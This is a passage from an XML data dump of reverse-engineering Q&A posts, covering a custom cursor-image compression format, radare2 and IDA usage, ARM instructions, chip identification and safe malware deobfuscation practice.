33 fd 00 03 80 02 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, some processing performed on &lt;code&gt;IMM&lt;/code&gt; and we have the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DST: The Result, 372 bytes:&#xA;0x0000  00 00 00 00 08 00 0A 00 06 66 66 66 66 66 66 00 &#xA;0x0010  67 77 77 77 77 77 77 60 67 77 77 77 77 66 77 76&#xA;0x0020  06 66 66 76 66 77 77 76 00 06 77 67 77 77 77 66&#xA;0x0030  00 00 66 67 77 77 76 76 00 00 67 76 66 66 67 76&#xA;0x0040  00 00 06 66 66 67 77 66 00 00 00 67 76 77 76 60&#xA;0x0050  00 00 00 06 66 66 66 00 04 00 00 00 06 00 0C 00&#xA;0x0060  00 00 30 00 00 00 00 03 B3 00 00 00 00 3B BB 30&#xA;0x0070  00 00 03 BB BB B3 00 00 3B BB BB BB 30 00 33 3B&#xA;0x0080  BB 33 30 00 00 3B BB 30 00 00 00 3B BB 30 00 00&#xA;0x0090  00 3B BB 30 00 00 00 3B BB 30 00 00 00 3B BB 30&#xA;0x00A0  00 00 00 33 33 30 00 00 0B 00 04 00 06 00 09 00&#xA;0x00B0  00 00 00 33 00 00 00 00 00 3B 30 00 33 33 33 3B&#xA;0x00C0  B3 00 3B BB BB BB BB 30 3B BB BB BB BB B3 3B BB&#xA;0x00D0  BB BB BB 30 33 33 33 3B B3 00 00 00 00 3B 30 00&#xA;0x00E0  00 00 00 33 00 00 04 00 0B 00 06 00 0C 00 00 33&#xA;0x00F0  33 30 00 00 00 3B BB 30 00 00 00 3B BB 30 00 00&#xA;0x0100  00 3B BB 30 00 00 00 3B BB 30 00 00 00 3B BB 30&#xA;0x0110  00 00 33 3B BB 33 30 00 3B BB BB BB 30 00 03 BB&#xA;0x0120  BB B3 00 00 00 3B BB 30 00 00 00 03 B3 00 00 00&#xA;0x0130  00 00 30 00 00 00 00 00 04 00 06 00 09 00 00 00&#xA;0x0140  33 00 00 00 00 03 B3 00 00 00 00 3B B3 33 33 33&#xA;0x0150  03 BB BB BB BB B3 3B BB BB BB BB B3 03 BB BB BB&#xA;0x0160  BB B3 00 3B B3 33 33 33 00 03 B3 00 00 00 00 00&#xA;0x0170  33 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decompression completed and it's easy to derive bitmaps like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get first 8 bytes of DST : &lt;code&gt;00 00 00 00 08 00 0A 00&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Multiply last 2 words : &lt;code&gt;08 * 0A = 50 (80)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get next 80 bytes of DST :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06 66 66 66 66 66 66 00 67 77 77 77 77 77 77 60&#xA;67 77 77 77 77 66 77 76 06 66 66 76 66 77 77 76&#xA;00 06 77 67 77 77 77 66 00 00 66 67 77 77 76 76&#xA;00 00 67 76 66 66 67 76 00 00 06 66 66 67 77 66&#xA;00 00 00 67 76 77 76 60 00 00 00 06 66 66 66 00&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Arrange those bytes assuming that 08 and 0A are width and height respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06 66 66 66 66 66 66 00&#xA;67 77 77 77 77 77 77 60&#xA;67 77 77 77 77 66 77 76&#xA;06 66 66 76 66 77 77 76&#xA;00 06 77 67 77 77 77 66&#xA;00 00 66 67 77 77 76 76&#xA;00 00 67 76 66 66 67 76&#xA;00 00 06 66 66 67 77 66&#xA;00 00 00 67 76 77 76 60&#xA;00 00 00 06 66 66 66 00&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extend this with zeroes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 06 06 06 06 06 06 06 06 06 06 06 06 06 00 00&#xA;06 07 07 07 07 07 07 07 07 07 07 07 07 07 06 00&#xA;06 07 07 07 07 07 07 07 07 07 06 06 07 07 07 06&#xA;00 06 06 06 06 06 07 06 06 06 07 07 07 07 07 06&#xA;00 00 00 06 07 07 06 07 07 07 07 07 07 07 06 06&#xA;00 00 00 00 06 06 06 07 07 07 07 07 07 06 07 06&#xA;00 00 00 00 06 07 07 06 06 06 06 06 06 07 07 06&#xA;00 00 00 00 00 06 06 06 06 06 06 07 07 07 06 06&#xA;00 00 00 00 00 00 06 07 07 06 07 07 07 06 06 00&#xA;00 00 00 00 00 00 00 06 06 06 06 06 06 06 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thats it! Wrapping it in BMP header gives us a cute cursor image:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rIjwE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rIjwE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here are the others: &lt;a href=&quot;https://i.stack.imgur.com/dsgfD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dsgfD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/GNNSq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNNSq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/wDfK0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wDfK0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/tqjiq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tqjiq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;UPDATE&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Thanks to @IanCook I have figured out how the &lt;code&gt;IMM&lt;/code&gt; is decoded to the &lt;code&gt;DST&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23707" LastEditorUserId="23707" LastEditDate="2018-03-24T11:09:32.447" LastActivityDate="2018-03-24T11:52:44.467" Title="Need help in compression algorithm identification" Tags="|decompress|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17773" PostTypeId="1" CreationDate="2018-03-22T17:35:06.243" Score="2" ViewCount="98" Body="&lt;p&gt;There seems to be a (relatively) easy way to &lt;a href=&quot;https://www.youtube.com/watch?v=4yGWuUFiFEI&quot; rel=&quot;nofollow noreferrer&quot;&gt;remove the markings on a chip via laser&lt;/a&gt;. When reverse engineering a device with such a chip, what would be some methods of identifying it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that package type and number of pins can help, are there any other methods that can be used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to image the chip in some way that would reveal what was erased?&lt;/p&gt;&#xA;" OwnerUserId="22707" LastActivityDate="2018-03-22T17:35:06.243" Title="Identifying unknown chip - markings erased" Tags="|hardware|embedded|physical-attacks|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17774" PostTypeId="2" ParentId="17499" CreationDate="2018-03-22T20:47:24.827" Score="3" Body="&lt;p&gt;Have a look at &lt;a href=&quot;https://github.com/scottrogowski/code2flow&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/scottrogowski/code2flow&lt;/a&gt; for generating callgraphs.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Turn your Python and Javascript source code into DOT flowcharts&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code2flow will sweep through your project source code looking for&#xA;  function definitions. Then it will do another sweep looking for where&#xA;  those functions are called. Code2flow connects the dots and presents&#xA;  you with a flowchart estimating the functional structure of your&#xA;  program.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In other words, code2flow generates callgraphs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oyblI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oyblI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2018-03-22T20:47:24.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17776" PostTypeId="2" ParentId="15406" CreationDate="2018-03-23T07:30:57.253" Score="1" Body="&lt;p&gt;As for the first point, in order to go back to instruction that was already executed (under the debugger), one needs to use a feature called reverse debugging (or Time Travel Debugging). As far as I know IDA's debugger doesn't have this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other tools that you could use to do a reverse debugging:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/debugger/revdebug.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinDbg Preview&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.gnu.org/software/gdb/news/reversible.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;gdb&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-06-21T17:32:54.960" LastActivityDate="2018-06-21T17:32:54.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17778" PostTypeId="2" ParentId="15244" CreationDate="2018-03-23T14:47:11.783" Score="6" Body="&lt;p&gt;print disassembly size redirect output_filename&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;pd&lt;/code&gt; : print disassembled code&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$s&lt;/code&gt; : size of the executable is assigned to this variable by radare2&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;gt;&lt;/code&gt; : redirect output to file&lt;/li&gt;&#xA;&lt;li&gt;output_filename : output written to this file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;thus, try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pd $s &amp;gt;myfile.asm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, (s)eek to beginning of .text section then (p)rint(D)isassemble N bytes&#xA;N computed from the end of the .text section address (section_end..text) minus the beginning .text section address (section..text):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;s section..text&#xA;pD section_end..text-section..text &amp;gt; myfiles.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your executable has multiple sections, you will need to add the section number after the name (e.g., section..text.0).  Find the name of the sections by listing them all (S)ection list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;S&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S. I'm just learning how to use radare2 myself.&lt;/p&gt;&#xA;" OwnerUserId="23710" LastEditorUserId="8322" LastEditDate="2019-07-31T07:15:08.043" LastActivityDate="2019-07-31T07:15:08.043" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17779" PostTypeId="2" ParentId="17483" CreationDate="2018-03-23T15:18:20.997" Score="1" Body="&lt;p&gt;Try using radare2 (radare.org).  It understands a variety of executable formats that it can disassemble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Executables contain a header that controls loading the code into memory by the OS and where to start execution.  So starting with the first byte of the file is not really the program itself.  radare2 loads the executable and interprets the header and loads the actual code to disassemble it.  Debug code etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;radare2 my_program.exe &lt;/p&gt;&#xA;" OwnerUserId="23710" LastEditorUserId="23710" LastEditDate="2018-03-23T15:35:15.737" LastActivityDate="2018-03-23T15:35:15.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17780" PostTypeId="1" AcceptedAnswerId="17793" CreationDate="2018-03-23T20:31:28.773" Score="1" ViewCount="324" Body="&lt;p&gt;What are the advantages of each method when employing de-obsfucation of potentially malicious code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been told to always use emulators like x86emu since it doesn't actually run the code when performing the de-obsfucation but  I wonder if there are any reasons to use IDA scripts to perform this kind of task. &lt;/p&gt;&#xA;" OwnerUserId="14535" LastActivityDate="2018-03-25T09:03:23.627" Title="De-obfuscation - Emulation-oriented vs Script-oriented" Tags="|ida|malware|ida-plugin|deobfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17783" PostTypeId="1" CreationDate="2018-03-24T05:00:14.277" Score="3" ViewCount="787" Body="&lt;p&gt;I'm trying to write a small application that can show for each&#xA;line of the de-compiled psuedo code of a certain function&#xA;the assembly instruction that responsible for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example if we have a function invocation in the pseudo code - i want to show all the push to stack instructions + the call instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sample_function(a,b)&#xA;&#xA;//will be mapped to:&#xA;&#xA;push b&#xA;push a&#xA;call sample_function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried to scan the objects that are returned by the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_hexrays-module.html#decompile&quot; rel=&quot;nofollow noreferrer&quot;&gt;decompile&lt;/a&gt; method and gone through some examples: &lt;a href=&quot;https://github.com/idapython/src/blob/master/examples/vds1.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;vds1&lt;/a&gt;, &lt;a href=&quot;https://github.com/idapython/src/blob/master/examples/vds4.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;vds4&lt;/a&gt;, ... Haven't found a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this mapping is saved somewhere? In IDA i can access the other direction when it shows in the assembly the pseudo code as comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="23725" LastActivityDate="2021-10-22T11:26:00.290" Title="IDAPython Decompile - connect assembly to pseudo-code line" Tags="|ida|decompilation|idapython|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17784" PostTypeId="2" ParentId="17770" CreationDate="2018-03-24T11:52:44.467" Score="1" Body="&lt;p&gt;Well then, here is some results of my researching:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;code&gt;SRC&lt;/code&gt; is a compressed data. The first &lt;code&gt;WORD&lt;/code&gt; of the &lt;code&gt;SRC&lt;/code&gt; contains the lenght of the decompressed data (as it equals to the lenght of the &lt;code&gt;IMM&lt;/code&gt;). The following &lt;code&gt;WORD&lt;/code&gt; is zero-padding. Actual compression method is still unknown.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;IMM&lt;/code&gt; is not really &quot;compressed&quot; but run-lengh encoded. It contains blocks of bytes prepended by 8-byte header. Product of the last two words of that header equals to the lenth of the decoded block. In that kind of RLE bytes with a value greater than &lt;code&gt;0x7F&lt;/code&gt; indicate the amount of following bytes that should go unchanged to the &lt;code&gt;DST&lt;/code&gt;. The other bytes indicate how much times the following byte should be copied to &lt;code&gt;DST&lt;/code&gt;. I goes like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;SRC: 00 00 00 00 08 00 0A 00 ff 06 05 66 fe 00 61 05 11 ...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;DST: 00 00 00 00 08 00 0A 00 06 66 66 66 66 66 66 00 61 11 11 11 11 11 11 ...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;After such decoding, assuming that the last two words of the header are amounts of columns and rows, the actual pixel values are obtained by consecutive XOR'ing of adjacent rows like this:&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;ROW[1] = ROW[0] XOR ROW[1]:&#xA; [0] 06 66 66 66 66 66 66 00&#xA; [1] 61 11 11 11 11 11 11 60&#xA; [2] 00 00 00 00 00 11 00 16&#xA; ...&#xA;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ROW[2] = ROW[1] XOR ROW[2]:&#xA; [0] 06 66 66 66 66 66 66 00&#xA; [1] 67 77 77 77 77 77 77 60&#xA; [2] 00 00 00 00 00 11 00 16&#xA; ...&#xA;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ROW[3] = ROW[2] XOR ROW[3]:&#xA; [0] 06 66 66 66 66 66 66 00&#xA; [1] 67 77 77 77 77 77 77 60&#xA; [2] 67 77 77 77 77 66 77 76&#xA; ...&#xA;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's all for now. Implementation of that RL decoding with row XORing takes ~50 lines of &lt;em&gt;C&lt;/em&gt; code against ~400 lines were in disassembly. Not sure that I should mark this answer as correct as actual compression method still unknown.&lt;/p&gt;&#xA;" OwnerUserId="23707" LastActivityDate="2018-03-24T11:52:44.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17786" PostTypeId="1" CreationDate="2018-03-24T19:27:43.843" Score="3" ViewCount="1302" Body="&lt;p&gt;In ARM assembly, what is the difference between &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ldr r4, =0x44454433&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ldr r4, #0x44454433&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="23728" LastEditorUserId="257" LastEditDate="2018-03-25T19:16:10.857" LastActivityDate="2018-03-26T18:07:46.070" Title="Arm ldr diffrent between # and =" Tags="|binary-analysis|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17788" PostTypeId="1" CreationDate="2018-03-25T04:46:29.330" Score="0" ViewCount="2217" Body="&lt;p&gt;Hey I was using Windasm32 today and I loaded a .dll file and it told me this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oHJ7k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oHJ7k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to increase my virtual memory on windows 10 to 12000 and the max to 12000 and restarted the computer and ran the windasm32 in admin and it still gave me this error. So, how can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="23729" LastEditorUserId="60" LastEditDate="2018-04-05T13:38:22.537" LastActivityDate="2018-04-05T13:38:22.537" Title="Windasm32 cant allocate enough memory to display 151680 lines" Tags="|windows|disassemblers|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17790" PostTypeId="1" AcceptedAnswerId="17794" CreationDate="2018-03-25T06:06:19.153" Score="0" ViewCount="200" Body="&lt;p&gt;IDA shows this following code in separate subroutine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_180049410 proc near&#xA;jmp     rax&#xA;sub_180049410 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pseudo-Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__int64 __usercall sub_180049410@&amp;lt;rax&amp;gt;(__int64 (*a1)(void)@&amp;lt;rax&amp;gt;)&#xA;{&#xA;  return a1();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The previous subroutine calls it as (off_180052510 and sub_180049410 are same)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rcx, [rsp+0C8h+var_88]&#xA;mov     rax, [rcx]&#xA;mov     r8, rsi&#xA;mov     edx, 5&#xA;mov     rax, [rax+18h]&#xA;call    cs:off_180052510&#xA;mov     rcx, [rsp+0C8h]&#xA;test    eax, eax&#xA;js      loc_18000969B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, why IDA shows it in separate subroutine? Can I join that in it's previous function?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-03-25T09:05:05.113" Title="Why IDA shows return statement in separate subroutine?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17791" PostTypeId="2" ParentId="17786" CreationDate="2018-03-25T06:34:32.837" Score="3" Body="&lt;p&gt;Although this is be a simple &lt;a href=&quot;http://lmgtfy.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;LMGTFY&lt;/a&gt; question, I'm going to answer since it took me some time to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it's 32bit ARM all the opcodes are 4 bytes long so this poses a question how one can include a 32bit value in the opcode if opcode with such big data would not fit in 4 bytes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldr r4, =0x44454433&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is a pseudo-instruction.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The LDR Rd,=const pseudo-instruction generates the most efficient single instruction to load any 32-bit number. - page &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.100069_0610_00_en/armasm_user_guide_100069_0610_00_en.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;6-111&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The other const &lt;code&gt;#0x44454433&lt;/code&gt; is just a const value, but with this form (having 32 bit value in it and just the value) seems invalid (not an expert on ARM).&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-03-25T06:34:32.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17792" PostTypeId="1" CreationDate="2018-03-25T09:00:58.853" Score="0" ViewCount="440" Body="&lt;p&gt;When I use this opcode &lt;code&gt;09E0&lt;/code&gt; that mean &lt;code&gt;B  #0x12&lt;/code&gt; that mean go to pc+0x12 .(relative address)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I jump with &lt;code&gt;B&lt;/code&gt; to pc-0x12  (relative address)?&lt;/p&gt;&#xA;" OwnerUserId="23737" LastEditorUserId="23737" LastEditDate="2018-03-27T04:11:29.853" LastActivityDate="2023-12-22T14:06:15.747" Title="arm branch calculator" Tags="|exception|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17793" PostTypeId="2" ParentId="17780" CreationDate="2018-03-25T09:03:23.627" Score="1" Body="&lt;p&gt;The approaches you mentioned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scripting static analysis with IDA:&lt;/strong&gt; &#xA;Great for removing automatically inserted bloat like PUSH EBX; add EBX, ECX; pop EBX, great for automatically finding and extracting relevant values. Sometimes a good way for decryption (if the malware just XORs stuff with 0x17 having your script do that is easier than running the decryption code in emulator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using emulators (scripted or not)&lt;/strong&gt;&#xA;Great for following hyper-obfuscated code that jumps into the middle of instructions and confuses static analysis. Has limited environment model, so it will fail once the malware uses exception handling or calls APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using debugger (scripted or not):&lt;/strong&gt; &#xA;Yes, you can do that if you are careful. Good for following the code, good for bypassing self-decryption, good for dumping. Security measures I recommend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Know your malware beforehand (google it, run it in cuckoosandbox, run it in VM in sandboxie with procmon running), so you know what to expect. Might also save you a lot of time. If all your malware does is extract/download stage2.exe into %TEMP% and run it, there is probably no reason to bother with it anyway. Go straight to stage2.exe&lt;/li&gt;&#xA;&lt;li&gt;Always work within a VM that has network connections disabled. &lt;/li&gt;&#xA;&lt;li&gt;Make shapshot before you start debugging, just in case. If it never returns from your F8 keypress, and you are unsure, you can return to that snapshot (but you lose your changes to IDA db!).&lt;/li&gt;&#xA;&lt;li&gt;Have procmon running, so you know if your malware did anything interesting.&lt;/li&gt;&#xA;&lt;li&gt;If you are very paranoid, have your VM run on a different host OS. Just in case the malware carries a $200.000 VMWare/VirtualBox 0day :-)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23656" LastActivityDate="2018-03-25T09:03:23.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17794" PostTypeId="2" ParentId="17790" CreationDate="2018-03-25T09:05:05.113" Score="1" Body="&lt;p&gt;No. Ofc, you can modify assembly in IDA with API funcs by yourself, but there is no need in this. &lt;code&gt;call&lt;/code&gt; instruction is not just jumping to code, it also modifies stack, pushing there return address, so called function can correctly return (read &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_26.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://c9x.me/x86/html/file_module_x86_id_26.html&lt;/a&gt; ). Thats why this code is shown in another subroutine, and thats why just inlining &lt;code&gt;jmp rax&lt;/code&gt; to code won't be correct in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, rax value will be known only in runtime, so IDA's static analysis can't provide information, which function exactly will be called here. So &lt;code&gt;sub_180049410&lt;/code&gt; its just function to call some other function via pointer to it.&lt;/p&gt;&#xA;" OwnerUserId="23670" LastActivityDate="2018-03-25T09:05:05.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17796" PostTypeId="1" CreationDate="2018-03-25T13:14:58.750" Score="2" ViewCount="5204" Body="&lt;p&gt;I have the following sequence of bytes in IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0044A838          db 2Ah&#xA;.text:0044A839          db 0ADh ; ­&#xA;.text:0044A83A          db    4&#xA;.text:0044A83B          db    0&#xA;.text:0044A83C          dd rva word_44AD3E     &#xA;.text:0044A840          dd rva word_44AD4C&#xA;.text:0044A844          dd rva word_44AD5C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This region &lt;em&gt;should&lt;/em&gt; be interpreted as four consecutive relative pointers, but right now, it is four raw bytes, and then three relative pointers. How can I instruct IDA that the first element is a relative offset pointer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I mark the first element as being a 32-bit integer, the its simply the value 0x4AD2A, which IDA does not recognize as being an xref that I can follow. I cannot mark this 32-bit element as an offset (by pressing &lt;code&gt;O&lt;/code&gt;), since the address 0x4AD2A is not valid in this executable.&lt;/p&gt;&#xA;" OwnerUserId="17194" LastEditorUserId="17194" LastEditDate="2018-03-25T13:19:30.230" LastActivityDate="2021-03-07T11:21:08.310" Title="How can I set an address to be a relative offset pointer in IDA Pro?" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17797" PostTypeId="2" ParentId="17796" CreationDate="2018-03-25T13:17:11.977" Score="2" Body="&lt;p&gt;Define the element to be the appropriate size (such as by pressing &lt;code&gt;d&lt;/code&gt; repeatedly). Then press &lt;code&gt;Ctrl-R&lt;/code&gt; (or use the menu entry: &lt;code&gt;Edit-&amp;gt;Operand Type-&amp;gt;Offset-&amp;gt;Offset (User Defined)&lt;/code&gt;), select &lt;code&gt;Use image base as offset base&lt;/code&gt;, and accept the dialog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3DWWd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3DWWd.png&quot; alt=&quot;example diallog&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17194" LastActivityDate="2018-03-25T13:17:11.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
